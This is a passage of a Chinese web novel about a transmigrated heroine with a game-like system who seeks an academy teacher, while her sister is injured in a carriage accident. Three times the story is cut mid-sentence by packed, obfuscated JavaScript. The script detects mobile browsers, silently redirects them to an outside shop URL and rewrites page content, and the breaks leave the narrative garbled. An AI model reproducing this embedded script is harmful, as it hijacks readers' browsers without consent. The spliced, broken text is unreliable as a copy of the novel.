李郎乜斜珠圆玉润二人一眼，不屑嘲讽道：“你们明明没有夫郎命，怎倒犯了夫郎病？若是你二人因心里见不得人的腌臜心思，挡了二娘子前程……” “不如趁早从主家滚出去！” 听李郎这么说，珠圆玉润当即止住了哭声。 “我、我……” 他们脸色煞白，唯唯诺诺说不出一句完整辩解，只得默默退了下去。 待两人离开后，李郎转过身来，面对云曜。 “二娘子不必在意，都是些胡子长见识短的后宅男子。” 很显然，李郎精通变脸功夫。 前一秒他还在厉声呵斥珠圆玉润，后一秒转身面对云曜，又端出了一脸的和颜悦色。 “家主跟顾夫郎马上会过来，二娘子不如……” 还未说完，一声熟悉的高亢女声便打断了对话。 “小曜，阿姊给你送束脩来了！” 闻言，云曜下意识望向声音的方向。 是云旼。 今日她穿得格外富贵显荣，头戴点翠珠钗，脚蹬云头锦履，一身玄色直领绛纱牡丹袍光彩逼人，比云后未完全升起的朝阳还要更加耀目。 换句话来说…… 简直是把“老娘可是大大的有钱”刻在了脸上。 “小曜，今天怎么穿得这么素？” 云旼看着云曜的装扮，有些不赞同似的摇摇头。 云曜一怔，不知如何回答。 她今天身上穿的，是一身低调的白色襕衫——乍看不显山不露水，但仔细一看，白衫上用略深一些的霜华灰线绣了栩栩如生的仙鹤，做工精巧。 跟云旼站在一起，两人对比格外鲜明。 一个华贵入世，一个清逸出尘。 “不过你也不用担心，有阿姊陪你去。” 没等云曜说话，云旼已经熟稔地跟她勾肩搭背，还得意洋洋地指了指自己的装扮。 “就用阿姊这身行头给你充面，如何？我精挑细选出来的，可得吓那群老儒一吓！哈哈哈哈！” 云曜干巴巴笑了笑：“啊？哈、哈哈。” 瞧云旼这话说的。 知道内情的，明白是去书院拜师；而不知道内情的，或许还以为是去那里砸场子。 尽管云曜不太了解大曌朝，但结合她朴素的价值观跟曾受过的义务教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13304777|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 育来看…… 无论哪朝哪代，读书人都应当以高洁出尘、不流于俗为目标吧。 所以，她的好姐姐，是不是对读书学习有什么误解？ 滴！ 系统音忽然适时响起。 【隐藏家族特征[巨富血脉]已解锁。】 【介绍：你妈妈是富商，姥姥是富商，太姥是富商，太太姥还是富商。你们云氏往上八辈祖宗都是富商，从来没出过一个读书人。】 云曜：“？？” 等一下，“从来没出过一个读书人”？ 看这充满铜臭气息的介绍，她突然有种很不详的预感…… 【特征效果1.经商鬼才 你们的血液里流淌着数字和钱。由云氏族女发起的经济交易活动，将获得20%的产出增幅。】 【特征效果2.榆木脑袋（已失效） 你们就是不受文曲星的眷顾。云氏族女在从事读书活动时效率降低，且发生不幸之事的概率增加。】 云曜双目圆睁：“我靠！？” 这什么奇奇怪怪的笨蛋debuff？ 所以原身三年前求学途中落水，就是因为这个诡异的特征在作祟吧！ 【宿主请安心，由于原身“云曜”受效果影响死亡，如今效果2力量用尽，自动失效。】 【失效特征效果已进行了标注。】 云曜连忙去看效果标注，只见[榆木脑袋]后当真有个“已失效”。 “……呼。” 她长舒一口气，竟有种劫后余生的感觉。 幸好，幸好。 本来只能用3天时间去拜名师就已经很艰难，要是再背上这个倒霉笨蛋特征…… 她还不如原地放弃，直接去找阎王耍了！ 话又说回来，这个家族特征，跟之前的人物特征有什么区别？ 【家族特征的辐射范围是整个家族，人物特征的影响范围仅限于宿主自己。】 噢，原来是这样。 那她的姐姐—— 想到这里，云曜不留痕迹地看了一眼云旼。 只见对方正呲着个大牙，一身珠光宝气，笑得分外开心。 “阿姊我倒要看看，那群老儒到底寒酸成什么样，见没见过我们云家这种排场，哈哈哈！” 李郎在旁侧微笑奉承：“大娘子说的是。放眼祥符郡乃至整个青州境内，何人没听说过祥云绸缎？” “那些个小郎少爷身上穿的，不都是我家的东西？若不是准备匆忙，我跟阿娘才不会只给小曜准备三车束脩，怎么着也得拿出云氏女应有的派头。” 云旼一口气说完，啧了啧嘴，又想到了什么。 “对了，小曜，我们要去哪家书院来着？” 她兴致勃勃，眼神中满是未被知识污染过的清澈天真。 云曜：“……” 好想叹气。 果然是个富贵又笨蛋的家伙啊！ 5. 第 5 章 不过，要去哪个书院读书，的确是个值得深思的问题。 别说是从现代穿来、一无所知的云曜，就连大曌土著原“云曜”，恐怕都说不上个一二三。 可云曜还又必须得在这种情况下，去成一家顶好的书院。 毕竟…… 【[平步青云]阶段一：拜入书院名师门下。（三星及以上）】 【奖励：人生点数300-1000点。】 云曜表示：压力山大。 这可是自己兑换比例十比一的人生倒计时！ 总之，自己的生命之火是否能继续燃一段时间，全指望她能否拜入高师门下了。 幸好系统并没有太过心狠，早在昨晚入睡前，就已大发慈悲地给了她几条信息。 【已为宿主检索到祥符郡内符合条件的书院，共3处。】 “才三家书院？”云曜颇有些失望。 鉴于大曌朝实行的是州郡县三级行政制度，按现代术语换算一下，郡差不多相当于现代的地级市。 而像祥符郡这样在整个青州境内都赫赫有名的富庶大郡，若是放在前世，高低也能够得上一个富裕的省会城市。 这样的地方，竟然只有三处符合条件的书院，实在是令人难以置信。 【古代的知识垄断远比现代严重，宿主请放心，虽然只有三家书院，但你有十几名老师可选。】 听系统这么说，云曜稍微定了定神。 还好，有十几名老师，说明自己还是有足够多的选择空间。 “分别是哪几家书院？” 【按拜师难度，从高到低分别为：琅嬛书院、艮山学宫、祥符县庠。】 【各书院的具体信息，等您解锁[文学]技能后可以开启。】 “小曜，我们要去哪里？” 如今面临云旼的询问，云曜略一思忖。 通常情况下，三选一时先掐尖再去尾，选个中庸之道的至少不会出错。 “艮山学宫吧。”云曜说。 “噢——” 云旼拉长了尾音，食指跟大拇指在唇边摩挲片刻，轻声嘀咕道：“倒是没听说过。” 一旁恭敬站着的李郎很机灵，见状热心开口：“大娘子，艮山学宫在郡衙旁，比二娘子三年前想去的郡学还要好些。我曾听绸缎庄负责采买的侍妇说，那地方在整个祥符郡都是顶顶有名的。” 还没等云曜说话，她耳边突然炸开云旼的一声大喝。 “好！不愧是我妹妹！” 云旼一拍云曜肩头，感动道：“阿姊早就知道你会选这里！小曜真是长大了，有我云氏女的眼光，选的书院一听就很有派头。” 云曜：“……” 你刚刚不是还说自己根本没听说过吗！ 语毕，云旼掐腰转头：“你们几个，把束脩跟箱箧放好，我们这就去那个……叫什么来着？噢、噢，艮山学宫。” 云曜：“…………” 李郎你别当着我的面给她递小抄啊！ 在云旼身后，两名身穿胡服劲装的女力士沉默蹲身，略一用力，就将云旼跟云曜的几大箱子放到了马车之上。 “走喽，小曜！我们这就出发。”云旼咧嘴一笑，一脚蹬上马车。 她身上的玄色牡丹袍质地极好，被她帅气地往后一拂，衣角刺绣银线闪烁，在空中划过一道优美的银白弧线。 不知为何，云曜心头一突。 隐约有种不祥的预感。 此时此刻，望着云旼神气的模样，云曜总觉得自己忽略了什么。 ……事情，会这么顺利吗？ * 在晨光熹微之际，一行人终于浩浩荡荡地出发了。 路上，云曜从书箱中翻出一本大曌人开蒙用的书，拿在手中阅读。 此书名为《阴阳论》，全书共计两千余字。 开篇便是—— 女子犹日中之阳，亦如夜之皎月，天赋圆满，光华四溢。彼辈生而具辉，如日方升，月满中天，其德其才，皆自天成，无需外求。 男子则若漫天繁星，虽微光闪烁，然非日辉月华之照耀，无以显其光芒，亦无以成其圆满。 故曰，女子为日月亦为圆满，男子为星需日月以显其辉。 翻译成现代话就是： 女子是阴也是阳，是日也是月，天生圆满；男子是星辰，有所欠缺，需要借女子之力才可发光。 云曜略略往后翻了一下，发现《阴阳论》全篇都围绕着这个观点进行论述，言简意赅，意蕴深远。 不愧是大曌人的启蒙之书。 看得云曜这个现代人都连连点头。 但有一点不太友好：类文言文的文体对于云曜这个现代人来说，还是有点太艰涩了，导致她读得很慢。 又艰难地啃了几行字后…… 滴！ 【你获得了[文学]技能。当前等级：1级。】 【技能效果：你可以快速记忆书籍（1级）的内容了。与常人相比，你的阅读速度更快。】 霎时间，云曜全身一颤，有一股灵气直冲天灵感。 这是一种很玄妙的感觉，简直如同…… 大脑，扩容了。 就像前世电脑CPU突然接收了大量数据，卡顿片刻，而后各种窗口跟信息会一齐涌出来。 对如今的云曜来说，也是如此。 她惊诧地看着手中的《阴阳论》——就在刚刚，自己还需要逐字逐句阅读内容，才能知晓其含义。 但现在，她哪怕是一目十行，都能够瞬间吸收理解这本书中的知识；而且她明白，自己只要看过，就一定能精准地背出内容。 自己竟一下子变得过目不忘？！ 这让云曜瞬间动力满满，很快便翻完了薄薄的一本书。 “……普照乾坤，熠熠生辉……彼之勇气，犹山岳之峰，屹立不摇……” 她在前世不算是爱学习的那一类，因为读书学习对她而言并不轻松，甚至可以称得上艰难。 而现在，学习突然变得如喝水吃饭般轻松，知识不要钱般往她脑子里灌，这让云曜后知后觉领悟到什么是“学习给人带来的快乐”。 这实在是—— 太爽了！ 大曌的文体近似文言文，能用最短的词句表达最深刻的含义，读起来朗朗上口，颇具音律美。 夸张一点来讲，这些字句甚至能在云曜脑海中排列成美妙的音乐。 当她视线落到最后一行字时，耳边适时响起系统的“滴”声。 【《阴阳论》（1级）已精通。】 读完一整本书，云曜意犹未尽，又把书册来回翻了好几遍。 “真是好书。” 她把书册放在一旁，阖上双眼，只觉含英咀华，书中的文字皆是历历在目。如果旁人随口说出其中的词句，自己甚至可以瞬间定位到文字所在的位置。 是前世从未感受过的绝顶聪明之感。 这甚至让云曜开始觉得：自己有点膨胀。 区区书院拜师！ 早知如此，刚刚就直接说，她要去挑战难度最高的琅嬛书院了。 此时，系统适时出现，给她浇了一盆冷水。 【请宿主注意，由于当前技能等级限制，该作用只可用于1级书籍。】 其中，“1级”二字特意用红色加粗展示了出来。 那么，大曌朝的1级书籍，是个什么概念？ 系统很快给她作出了一长串的贴心解答。 除了《阴阳论》这种放到绿晋江连一章都不够的开蒙小册子，还有一些诸如《三字经》、《百家姓》之类的儿童读物。 值得一提的是，大曌女子普遍早慧聪颖，因而跟云曜所熟知的古代相比，这边的开蒙时间还要更早。 简言之： 就算能把这些1级书倒背如流，也不过是相当于…… 精通了大曌6岁儿童的必读书目。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13304778|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 放前世来看，义务教育都才刚起步。 【请宿主知晓，技能每升一级，所需的经验都是成倍增长。】 【在[文学]技能升级过程中，阅读过低或过高等级的书目均无法增长经验。】 像云曜现在，就算再读八百遍《阴阳论》，也对她无益。 刚膨胀了没多久的云曜，明白自己的异世天才梦已碎。 “……好吧好吧。” 泄气了，不膨胀了。 虽然靠着这项技能，未来定能大展宏图，但现在的她显然还不够格。 她没精打采地叹了几口气，忽然又想到了什么：“对了，系统，我现在是不是可以查看书院情况了？” 之前系统曾指出，只要自己获得[文学]技能，就可以获得三家书院的详细信息。 现在的自己，应该能拜师成功吧？ 滴！ 【检测到[文学]技能达到1级，书院详细信息已解锁。】 【1号.琅嬛书院 简介：开创于娲朝，历史悠久、名扬四海。娲朝时“琅嬛”曾为天女藏书之地，如今“琅嬛”已成为大曌士女指代读书的雅称。 然而该书院经过多次重建，师徒流散，大儒皆行踪神秘，近年来未曾听说过有缘拜读之人。 名师数量：11 书院地点：未知（杂学5级解锁） 评级：★★★★★（文脉圣地） 难度：★★★★★（仙缘难寻）】 云曜：“……” 等等，开局就搞这么高难度？ 连书院的具体位置，都需要一项5级技能才能解锁？！ 【2号.艮山学宫 简介：前朝大祇时创办，享誉青州。百余年间人才渊薮，曾培养出1名榜眼，3名探花。 每逢二月、四月等双数月开门纳徒，根据文学考校结果划分为内外两门。 名师数量：3 书院地点：祥符郡衙南侧二里，毗邻饮冰书斋 评级：★★★（翰墨飘香） 难度：★★★（文学3级解锁外门拜师，需精通5本2级书籍）】 云曜傻眼。 “……哈？” 3级才能解锁外门拜师，甚至，还要精通5本2级书籍？ 【3号.祥符郡庠 简介：大曌格新3年春开创的公办郡学。原身云曜路途中死亡时准备前往求学的地方，需通过教书女君的入门考校。 名师数量：1 书院地点：祥符郡东侧二十里，临近双水县 评级：★（可供读书） 难度：★（文学2级解锁入门，需精通5本1级书籍）】 这书院是曾经让原身落水的罪魁祸首，难度在三家书院中最低。 可是。 连这种一星难度的地方，她居然都达不到最低的入门条件。 轰……！ 意识到这一点，云曜脑海嗡嗡作响，两眼一黑。 她脸上血色全无，手脚冰凉，未至冬日已然如堕冰窟，只觉得，自己瞬间从天堂跌到了地狱。 完了。 要是拜不了师，就完成不了任务。 要是完成不了任务，她就要死掉了。 要是死掉，她就不能享受这个连孩童启蒙书都是《阴阳论》的世界了！ 这时，旁边的云旼凑了过来，注意到云曜脸上格外难看的神色。 “怎么了，小曜？” 她目光转移到云曜手中的书册，伸出手抚上书页，露出了然的神色。 “没事，书都是很难懂的，阿姊从小到大没背下来过一本书，现在也还是活得好好——啊啊啊！” 轰……！ 这次响起的声音，并非云曜脑内活动。 而是现实中某种硬物骤然皲裂的声音。 “阿姊？！” 云曜回过神来，看到眼前骤然发生的一幕，目瞪口呆。 6. 第 6 章 接下来发生的一切，简直如同现代电影里的慢镜头。 “小曜，别过来！” 只见云旼抓着《阴阳论》摇摇晃晃，而她乘坐的那半截车座的车辕处，居然惊悚地从中间断裂开来，还带动了周围的木质结构一起塌陷。 这让她连人带座与马车分离，失去平衡向后跌落。 更为糟糕的是，此时轩车已行至一处小丘。 云旼倒下的方向，是一个约莫五米高、斜度颇为陡峭的斜坡，坡上树木林立，其上还有嶙峋怪石。 若是人撞上去，至少也得落个不轻的外伤。 再严重些，甚至能让人失去性命。 “快，抓住我的手！” 云曜条件反射伸出手去够云旼，却连对方的衣角都没捞到。 “啊啊啊啊——” 不到一息时间，云旼整个人惨叫着从坡上翻滚了下去，很快便在林木掩映间不见人影。 见状，周围惊叫声此起彼伏。 “天啊，大娘子坠车了？！” “快让马停下，快点！” “吁——” 一阵兵荒马乱间，云曜只觉自己太阳穴突突跳动，心脏快要蹦出胸腔。 怎么回事？ 怎么会这样凑巧，为什么只有云旼所坐的那一处地方遭殃？ 滴！ 像是为了解答她的疑问一样，系统声音适时响起。 【检测到非宿主能量异动，家族特征效果[榆木脑袋]发动。】 【云氏族女在从事读书活动时效率降低，且发生不幸之事的概率增加。】 云曜：“……” 云曜：“？！” 等一下，这个意思是指，云旼因为从事某种“读书活动”，发动了云氏女的家族特征？ 可她是什么时……？ 啊。 难道—— 电光火石间，云曜想到了《阴阳论》。犹记得云旼在坠坡之前，正巧凑过来看了一眼她手中的书。 不、会、吧。 只是因为这样？ 仅仅是因为看了一眼书？ “二娘子，你千万不要慌，已经让力士们去寻大娘子了。” 有仆从搀扶着云曜下车，拿帕子给她擦汗：“怎么出了这么多汗？二娘子真是受惊了。” 云曜双目呆滞：“啊，是么。” 直到这时，她才发现，自己竟然冒了一头的冷汗。 千万、千万—— 不要出什么事啊！ 云曜在心里深深祈祷。 可有时，屋漏更逢连夜雨，船迟偏遇打头风。 “找到大娘子了！” “你们几个不长眼的，快点把人抬上来呀。” “大娘子还活着！就是腿上受了伤。” 过了差不多一刻钟，坡下终于传来了云氏力士们的大呼小叫。 看样子，是顺利找到了云旼。 还没等云曜松一口气，突然间，天空边缘响起了低沉的“轰隆”之声。 轰……！ 这已经是今日第三次“轰”声了。 云曜太阳穴又是一跳，极度不详的预感再次浮上心头。 难不成，[榆木脑袋]带来的一连串不幸事件还没结束？ 事实证明，她的预感再次灵验。 不出数息，雷声共雨声齐齐响起，豆大的雨珠径直打在人的面门，砸得人生疼。 众人又是一阵慌乱。 “糟了，要下大雨，小心紧着马儿！” 有人关心云旼，有人安抚马匹，还有人翻找蓑衣跟油伞，脚步声、呼喊声跟水花声不绝于耳。 只剩云曜愣愣站在原地，双目呆滞，嘴角勾起苦涩麻木的弧度。 呵呵呵。 老天奶搁这里玩她呢。 “哎呀，二娘子，快披上蓑衣。今天怕是没办法赶路了，我们快点找地方避一避吧。” 有仆妇动作敏捷，立马翻出箱箧中的蓑衣给云曜披上。 “二娘子，你为什么牙齿在打颤？莫不是身子受凉了？” 云曜勉强扯出一个笑容：“……身子没受凉。” 是心凉了。 还凉得透透的。 为什么云旼会在这时候出事？ 云曜心中一团乱麻，大脑一片空白。 她躲在蓑衣下瑟瑟发抖，一会儿为云旼担心，一会儿为自己担心；一会儿埋怨云旼，一会儿埋怨自己。 脑海中有两个小人开始打架。 小人A掐腰：“你为什么不早些对这件事上心？要知道，如果去掉今天，你就只剩下1天存活时间了。” 小人B幽怨：“不对，不怨你。为什么云旼要凑过来看你的书？分明都怪她。” 小人A摇头：“才不对。为什么你一开始要把书页给云旼看？你不在车上读书就好了啊。” 小人B跺脚：“不不不，最初在云家，是云旼硬要跟你过来的。是她的错！” 对生死的恐惧，对前程的担忧，齐齐涌上心头。 正天人交战间，突然，有一道有气无力的女声自远处传来。 “小曜……” 声音甚小，差点被雨声淹没。 云曜应声抬头，看到有个身强体壮的女力士朝她走来。在力士宽阔的肩头上，云旼正有气无力地趴着。 她头发披散，又被雨水打湿，胡乱遮在眼前。 “小曜……” 云旼伸出手，抹了抹额前湿透的黑发，露出一双关怀备至的眼睛。 她张开嘴，对着云曜说出了第一句话。 “阿姊方才，没吓到你吧？” 闻言，云曜蓦地一怔。 她在说什么？ 明明受惊的是云旼，为什么她还要问候自己？ 云曜愣愣地抬眸，望向云旼。 今晨出发时，云旼还十分神气威风。可现在，由于玄色衣袍色深，导致她身上沾着的杂草污泥格外突出，让原本的凛凛威风变得狼狈不堪。 纵使到了如此境地，云旼第一个想到的…… 居然还是她的妹妹。 “你莫慌，阿姊没有大碍。” 云旼以为云曜是吓懵了，连忙对着她眨眨眼。 “我一会儿勒令仆从，此事绝不会跟阿母讲，不然若是阿母知道，定然又会阻拦你去读书。” 有雨水顺着她的发髻落下，流过带着灰迹的脸颊，又打在她被弄脏的玄色牡丹袍上。 云曜视线顺着那雨滴移动，微微低头，看到云旼双腿无力下垂，裤腿处还有暗色血迹弥漫。 “……” 她突然不知该说些什么。 见云曜没说话，云旼又自嘲地笑了笑。 “我早跟阿母说过，自己没读过书，跟着你也只是拖累。但阿母放心不下你，一定要我护着你走一遭。” “现在倒好，变成你要护着我了。” 她轻声说。 这一刻，云曜突然有些手足无措。 “我……”她嘴唇翕动。 “对了，小曜。” 又见云旼小心翼翼地将手伸入胸前衣襟，从怀中掏出一本皱皱巴巴的书。 是《阴阳论》。 “喏，你的书。你可千万别怪阿姊啊，我刚刚跌下没有预料，实在是不小心才抓了你的书。” 她眼睛亮晶晶的，对着云曜不好意思地笑了笑。 “等回去闹市，阿姊再给你买个十本八本新书赔罪，好不好？” 这一刻，风声雨声雷声，全部消弭。 云曜脑海中吵架的两只小人，也早已偃旗息鼓。 她呆愣地看着云旼，只觉心中酸胀不已：有懊恼，有遗憾，还有些说不出的羞赧。 这还是云曜前世今生第一次感受到这种程度的偏爱——哪怕出事的是自己，也要先关切身旁的家人。 “……唉。” 云曜轻轻摇了摇头，垂下眼帘，逐渐下定决心。 算了，世间万物皆有定数。 如果阎王真的想让她三更死，那她也铁定活不到五更。 “小曜，为何叹气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13304779|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” “没什么。”只见云曜接过仆从递来的蓑衣，让力士微低下身子，给云旼严严实实披上。 “不要再说了，阿姊。” 而后，云曜郑重地对上云旼的视线，格外认真严肃地开口。 “别管我读不读书了。” “阿姊，你身上有伤，我们得先带你去看大夫。” * 至此，经历了坠坡之事，轩车已不敢再坐，只能让力士背着云旼，云曜跟在一旁看护。 有身量较高的仆从又为二人撑起油伞，免得她们受寒生病。 装着束脩的三架马车跟在云曜二人身后，在疾风骤雨中艰难前行。 “两位娘子吉人自有天相，这等雷雨天气下，马儿居然都不躁动。” 云曜听到身后有仆从悄声议论。 当真是……吉人天相么？ 系统给了她解答。 【是宿主你的[通灵之术]发挥了作用。】 【宿主你的灵魂沾染了非人的转生气息。动物对你的初始好感极高，愿意听从你的指挥。】 云曜深深叹了口气：“总归有件好事。” 最初她还觉得“非人”二字很刺耳，现在却觉得颇为庆幸。 如果马儿在雷雨天受惊发狂，再加上云旼的状况，恐怕事情就会变得更加棘手。 渐渐地，天色愈发暗了下去。 风雨晦暝。 幸亏众人此行没选择荒郊野岭的路线，过了盏茶功夫，一行人马来到一处名为“济海”的小镇。 镇子不大，却屋舍俨然、街巷如洗。雨点打在青石小径上，溅起片片水花，湿透了云曜的绸布鞋。 “许家大夫是不是住在这个镇上？哎呦喂，我的腿——” 云旼直起身子想四处观望，却因扯动了伤口，龇牙咧嘴地又退回力士背上。 许家？ 有点耳熟。 云曜觉得自己似乎在哪里听到过，可一时半会又想不起来。 “是，大娘子，可是，”一名绾着高发髻的侍从犹豫开口，“许大夫是专治动物的兽医……” “管她兽医不兽医，哪怕天王姥子来了，我现在也得找个地方治，”云旼拍板，“不能再耽搁了！就算我受得住，小曜也受不住。” “是，大娘子！” 由于得了云旼的命令，力士加快了脚下的步伐。 不一会儿，众人便来到了一间两进院落。 只见朱漆剥落的门前挂着几扎晒干的草药捆，它们在风雨中撞击门樯，显得蔫巴巴。 “大夫可在？许大夫可在？” 仆从上前敲门，将门环撞得砰砰作响。 “……何人？大夫今日已经停诊了。”门内传来一道清亮男声。 “我乃祥符云氏府仆，而今大娘子受了外伤，特来问诊。”仆从高喊。 门内没再传来人声。 过了几息，大门打开。 “原来是云旼大娘子，今日怎的来了济海镇？母亲刚准备歇息，现在在房内等候……咦？！” 开门的是一名跟云曜差不多年纪的少男，身穿蓑衣。 他鼻梁挺直，薄唇微抿，因为着急见客没能拿纱巾遮挡喉结，便只用手轻轻遮住。虽未施粉黛，却自有一番楚楚之姿。 “你、你是……” 他目光先在云旼身上扫过，最后落到云曜身上，便如同被胶水黏住一样移不开了。 云曜被这样盯着看，丈二和尚摸不着头脑。 两人双目相对，互相凝视了许久。 “你——” 见云曜一直没有出声的意思，少男的眼圈忽然开始发红。 此子之容貌，比起珠圆跟玉润毫不逊色，甚至还超出许多。 如今眼眶微红，便像是含苞待放的桃花上沾了清晨露珠，朦胧又动人。欲语还休中，还带着一丝若有若无的幽怨。 云曜：“……” 靠。 她直接看呆了。 等一下，这不会是原身欠下的一笔桃花债吧？！ 7. 第 7 章 “我跟他是什么关系？”她连忙在心里询问系统。 看上去，这是个跟原身相熟的人。 系统很快给出了答复。 【请宿主自行身体接触，接触后便可解锁详细信息。】 啊？ 当着这么多女人的面，她怎么跟人家进行身体接触？ 大曌朝的女男之防，跟华国古代差不多。像云曜刚满及笄，已经要有意识地跟男子划分界限了。 “小曜，我们快点进屋吧。” 云旼趴在力士背上，见云曜站在原地不动弹，便催促道：“你跟着我在雨里走了许久，可不能着凉。” 正如云旼所言，两人虽身着蓑衣，身旁也一直有仆从撑伞，但在雨中行走这么久，身上不可避免地沾染了凉意。 一呼一吸间，连呵出的气息都泛着寒冷。 云曜闻言点头，道了一声“好”。 她很快放弃探究男子身份的念头，跟随力士的步伐，向正门走去。 但没成想…… 在路过男子的短短一刹那，她忽然听到对方低声喃喃。 “曜姐姐，你、你终于好了。三年未见，我每日都在为你祈祷。” ——曜姐姐？ 差点没把云曜吓了一个大跟头。 在大曌朝，男子称呼女子“姐姐”，除了亲缘关系外，便多是带了暧昧的“情姐姐”。 滴！ 系统声音在耳畔响起。 【人物特征[顶级白月光]已解锁。】 【介绍：你曾是原书男主死去的白月光青梅。而今起死回生后，你拥有了更强大的白月光体质。】 没想到，自己会在这个关头又解锁一项人物特征。 ……原书男主，死去的白月光青梅？ 这短短两天里，云曜经历了太多事情。这让她差点都要忘记，自己其实是穿成了某本女尊文的早逝女N号。 “这个世界的青梅，跟我理解的那个青梅一样吗？”她问。 虽然大曌朝跟云曜熟知的古代有很多相似之处，但从《阴阳论》一书来看，大曌的文化风俗显然要超前不少。 还是问清楚为好。 【没错，与宿主熟知的“青梅”意思相仿。】 【青梅之交，泛指孩童之间亲昵玩耍的情谊。典故出自大祇诗人唐芸《河岳歌》，其诗曰：女嗅青梅香，轻移步影长。共游春日暖，嬉戏乐无疆。[1]】 【最初“青梅之交”特指女性幼年时的友谊，现在也可指代女男在孩提时天真无邪的感情。】 云曜若有所思地点点头。 幼年么…… 所以，原身跟这个少男应当是很相熟的儿时玩伴。 以古代人的早熟程度，昔日原身跟他一起嬉戏玩耍时，估计少不了一些眉来眼去、情愫暗生。 这也能解释对方那句格外缠绵的“曜姐姐”。 此刻，云曜终于想起自己觉得“许家”耳熟的原因——刚穿过来时，她记得云旼还提过，要找某个跟她关系很好的“许家小子”给她冲喜。 所以，他就是那个许家小子？ 也就是，原书的男主？ 对此，系统很快给出了答复。 【准确来说，是原书男主之一。】 【原身与他两小无猜，在书中，原身昏迷三年死亡，之后悲痛至极的他立志以男子之身承袭家学医术，最终成为一代周游四方的男神医。】 【某次救治书中女主时，他与其相识，但由于心中一直记挂着原身，只愿为原身守身，不愿屈从女主。】 哇哦。 这还是个贞洁烈夫？ 听到这里，云曜突然来了吃瓜的兴趣，连连追问。 “后来呢？后来发生了什么？” 据她前世遍览各大网络小说的经验，强扭的瓜，在这种故事里一向都会是甜的。 【强取豪夺，先婚后爱。两人HE了。】 【他最后成为了女主后宫里专门负责诊断孕期的人，作用是专门给女主报喜，“XXX哥哥/弟弟有身子了，恭喜妻主”。】 云曜睁大双目：“哇哦——” 果真是一段很精彩跟狗血的故事。 【不过，因为宿主你现在完好无损地出现在他面前，他的命运已经修改。】 “修改？”云曜疑惑。 【他不会跟原书女主相遇，也不会再成为男神医。】 【未来应该会留在济海镇静守男德，最后被许配给某个镇上的小娘子吧。】 系统声音一顿，又补充了句。 【当然，宿主，如果你愿意，也可以帮助他重回原来的命运轨迹。】 云曜沉默片刻。 而后，很是疑惑地“啊？”了一声。 什么？ 他最终能否成为神医，关她屁事？ 难道还要像让她像原书一样去死一死，给对方一个努力上进的理由么。 她又不是什么圣父，才没有插手的想法。 对云曜来说，她自己的命、她姐姐的命都还悬而未决，她根本没有闲心去管一个陌生男子的命运。 “不必了。我连他的名字都不知道，没必要为他操心。” 云曜兴致缺缺。 对方确实是个长得很好看的男子，但这里可是大曌，样貌好看的男子多了去了。 像这样的男人，自己只需要像赏花一样，远远地欣赏一下就足够。 想到这里，云曜隔着雨幕又望了少男一眼。 对方见她看过来，脸上带了激动的喜色，嘴唇翕动，似乎想说些什么。 “曜姐姐，你……” 但云曜很快便收回了视线，面不改色地转身离开。 她仿佛什么都没发生过一般，往屋内走去。甚至，脚下的步伐还莫名加快了几分。 得快点走。 某种程度上，这男的是因为她死掉，才能当上神医的。 赏花归赏花，但若是赏到了一朵隐藏食人花，那可就不好了。 自己得千万小心，免得被吸了福分。 轰隆隆—— 此刻，大雨愈加倾盆，空中突然有一道闪电划过。 炽目白光照亮了昏暗院落一角，也照亮了云曜冷淡漠然的脸庞。 在她白色衣摆上，线绣仙鹤花纹随她的步伐流转，栩栩如生；鹤形衬在白色衣料上，似是在云中翩翩起舞。 不远处，见云曜仿佛不认识他一般，那名男子呼吸一滞。 他垂下眼睫，紧咬薄唇，露出了格外心碎神伤的表情。 滴！ 【[顶级白月光]特征效果已解锁。】 【特征效果1.追忆之殇： 白月光的气质总是相似的，如天上孤月，可望不可及。当初次看到你时，对方有概率联想到深埋心中之人（或者非人）。】 看到这些文字描述，云曜静默片刻。 她发出了灵魂疑问：“前面我懂，最后那个括号是什么意思？” 系统秒答：【请宿主自行探索。】 云曜：“……” 好吧。 一会儿说她的灵魂沾染了“非人”气息，一会儿又说她是别人深埋心中的“非人”。 合着她想做个正儿八经的人类，就这么困难？ 接下来，她又换了个问题：“系统，这项白月光特征，只拥有一项效果么？” 毕竟她身上拥有的其他特征，都有两种效果。 系统又秒答：【请宿主自行探索。】

